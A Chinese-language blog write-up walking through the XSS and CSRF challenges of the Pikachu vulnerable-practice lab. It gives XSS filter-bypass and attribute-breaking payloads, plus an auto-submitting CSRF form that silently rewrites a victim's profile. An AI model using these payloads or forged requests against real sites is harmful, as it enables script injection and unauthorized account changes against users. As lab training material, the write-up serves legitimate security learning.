一、反射性xss(get)

登录pikachu选择xss模块,第一题,写了一下,发现输入长度不够,很简单,在前端改一下长度就可以使用了,这题就不做过多解释

或者直接在URL中进行写入,也是肥肠滴方便

就很简单的弹窗了,下一道

二、反射性XSS(post)

第二道xss,要输账号密码,我们先用暴力破解的密码试一下

好的进去了,那我们就不用多管了。

继续试一下看看能不能正常弹窗

又弹窗????没设置过滤那我们就笑纳了呗,下一个

三、存储型xss

是一个无情的留言板,我们来正常弹窗试一下

????结果又正常弹窗了,看来还是没设置什么过滤,那我们继续下一道呗

四、DOM型xss

来嘛

终于不可以了,我们找一下问题所在

发现是因为它一点击就会触发domxss(),找到了domxss函数的内核是

function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}

闭合一下发现还是很容易就弹窗了,pyload是'><img src="#" onmouseover="alert('xss')">

至于下一个xss-x的问题,和这个题是肥肠相似的,所以就不再单独解释,直接给出弹窗叭

五、xss之盲打

让我们小试一下

发现没有弹窗,但问题很大,看了一下提示,登陆了一下后台

发现已经成功弹窗~

六、xss之过滤

我正常来弹个窗试一下

(别说这些'>'的话,不要怕,就是干!)?????也就是说他把<>给过滤掉了??

测试了后其实并不是,有很多没有过滤的东西,测试了很久发现其实只需要更改大小写就可以进行绕过

payload:<SCRIPT>alert(1)</ScriPT>

七、xss之htmlspecialchars

需要查看一下源码了

htmlspecialchars这个函数将网页上面的爬取直接写到href里面,可以看到 “ " ”,“ > ”和“ < ”都经过了编码,剩下的字符没有,单引号依然可以使用

既然已经记录想必就可以构造闭合点击弹窗了

' onclick=alert(1) '

成功

八、xss之href输出

直接<script>alert(1)</script>

发现

不是很对,既然写在herf里了的话,就直接构造alert

payload:javascript:alert(1)

OK.下一个

九、xss之js输出

上<script>alert(1)</script>,发现无任何反应

看源码发现到了问题所在,多加一个闭合就可了

payload:'</script><script>alert('xss')</script>

弹窗成功

CSRF

一、csrf(get)

先根据提示登录

进入修改个人信息

利用审查元素,查看submit类型

发现是get传参,提交一次试试

找到了传参的参数以及路径,利用netword构造payload

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456789&add=PPSUC&email=zerben%40ppsuc.edu.cn&submit=submit

用户点击后就可以完成修改

成功

二、csrf(post)

同样,登录lili的账号,点击修改

查看审查元素发现是post传参

这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。

编写一个post.html页面,本文把此页面放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务

之后只需要把构造的URL发送给受害者,让其点击就可以完成目标操作,成功修改信息。

url:

http://192.168.171.129/pikachu/doge_csrf/post.html


<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="12345678922" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="lucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

三、csrf(token)

目前没有好的方法可以绕过

 

WEB攻击与防御技术 pikachu——XSS攻击加CSRF的更多相关文章

  1. 如何发起、防御和测试XSS攻击,我们用DVWA来学习(上)

    XSS 全称Cross Site Scripting 即‘跨站脚本攻击’. 从其中文释义我们能直观的知道,这是一种对网站的攻击方式. 其原理在于,使用一切可能手段,将可执行脚本(scripting)植 ...

  2. Web安全攻防(一)XSS注入和CSRF

    跨站脚本攻击(XSS) XSS(Cross Site Scripting),为不和层叠样式表CSS混淆,故将跨站脚本攻击缩写为XSS. 攻击原理: 恶意攻击者往Web页面里插入恶意Script代码,当 ...

  3. 常见【十种】WEB攻击及防御技术总结

    最近参加了一个WEB安全培训,感觉WEB攻击跟防御都是挺有意思的.以下总结比较简短,仅供观赏哈. 一.XSS攻击 [介绍] xss攻击是跨站脚本攻击,例如在表单中提交含有可执行的javascript的 ...

  4. web攻击之零:WEB攻击及防御技术汇总

    一.XSS攻击 [介绍] xss攻击是跨站脚本攻击,例如在表单中提交含有可执行的javascript的内容文本,如果服务器端没有过滤或转义这些脚本,而这些脚本由通过内容的形式发布到了页面上,这个时候如 ...

  5. 关于Web安全的那些事(XSS攻击)

    概述 XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发 ...

  6. web 安全问题(二):XSS攻击

    上文说完了CSRF攻击,本文继续研究它的兄弟XSS攻击. 什么是XSS攻击 XSS攻击的原理 XSS攻击的方法 XSS攻击防御的手段 什么是XSS攻击 XSS攻击全名(Cross-Site-Scrip ...

  7. WEB安全实战(五)XSS 攻击的第二种解决方式(推荐)

    序 说到 XSS 攻击,前边已经有两篇文章在讲这个事了,这次又拿出来说,主要是针对近期工作中的一些新的问题.那么之前是怎么解决问题的呢?为什么又要换解决方式?以下就具体的跟大家分享一下. 旧方案 公司 ...

  8. 如何发起、防御和测试XSS攻击,我们用DVWA来学习(下)

    上一篇我们了解了XSS攻击的原理,并且利用DVWA尝试了简单的XSS攻击,这一篇我们来实现更复杂的攻击,然后探讨防御机制和测试理念. 前面我们通过脚本注入让网页弹出了用户cookie信息,可以光弹窗是 ...

  9. 程序员常用的3大Web安全漏洞防御解决方案:XSS、CSRF及SQL注入(图文详解)

    https://blog.csdn.net/ChenRui_yz/article/details/86489067 随着互联网的普及,网络安全变得越来越重要,程序员需要掌握最基本的web安全防范,下面 ...

  10. XSS攻击常识及常见的XSS攻击脚本汇总

    一.什么是XSS? XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了. 这里我们主要注 ...

随机推荐

  1. Windows下更改MySQL数据库的存储位置(10为例子)

    有时候,自己安装MySQL的时候都是默然安装路径的,MySQL安装时不能选择数据库文件的安装位置,也没有可用的直接更改数据库目录的工具.之后所新建的数据库默认存储在C盘,当然了C盘很重要什么东西都存过 ...

  2. beego入门

    beego的官方仓库地址是 https://github.com/beego/beego 为什么要特别说明这个事情呢?因为我们引入的包地址,有可能是从官方fork的,特别是beego,有的教程上通过g ...

  3. pytest-2 之前后置及 conftest.py+fixture+yield实现用例前后置

    pytest测试用例及类级别的前置,可以和unittest一样进行定义,也可以把该前置方法或类定义到conftest.py里,而在需要前置的方法的参数里加上该前置名作为参数: pytest有两种方式来 ...

  4. 福昕PDF如何以多个窗口打开文件

    福昕PDF默认设置下双击打开多个文件,所有文件只会在同一个程序内显示,怎样让每个文件都使用单独一个程序,以多个窗口的形式打开呢? 福昕软件,文件 > 偏好设置 > 文档 > 勾选&q ...

  5. Kubernetes DevOps CD工具对比选型

    目录 Kubernetes DevOps CD工具对比选型 一.Flux 二.ArgoCD 三.Jenkins X 四.方案比较 Kubernetes DevOps CD工具对比选型 一.Flux 1 ...

  6. 没有可用软件包 iostat。

    说明: iostat 主要用于监控系统设备的IO负载情况,根据这个可以看出当前系统的写入量和读取量,CPU负载和磁盘负载. iostat 命令的输出结果包含了很多信息,以下是一些常见的统计指标的解释: ...

  7. 备份还原ESXi 中的虚拟机快照

    了解 ESXi 中的虚拟机快照 (1015180) Click here to view full document Symptoms 免责声明:本文是 Understanding VM snapsh ...

  8. 《ImageNet Classification with Deep Convolutional Neural Networks (AlexNet)2012》

    Abstract 作者训练了一个大型的深度卷积神经网络,用于在 ImageNet LSVRC-2010 比赛中对120万张高分辨率图像分为1000个不同的类别.在测试数据上,作者们达到了 top-1 ...

  9. 强烈推荐的elasticsearch集群连接工具: elasticvue

    个人感觉非常棒的es-cluster连接工具, 检查状态什么的, 一目了然, 支持中文超方便, 比elasticSearchHead好用多了. 安装方法打开微软浏览器edge-商城搜索-Elastic ...

  10. 面试之arrayList扩容机制

    参考: ArrayList扩容详解_java编程艺术的博客-CSDN博客_arraylist扩容 ArrayList底层是数组elementData,用于存放插入的数据.初始大小是0,当有数据插入时, ...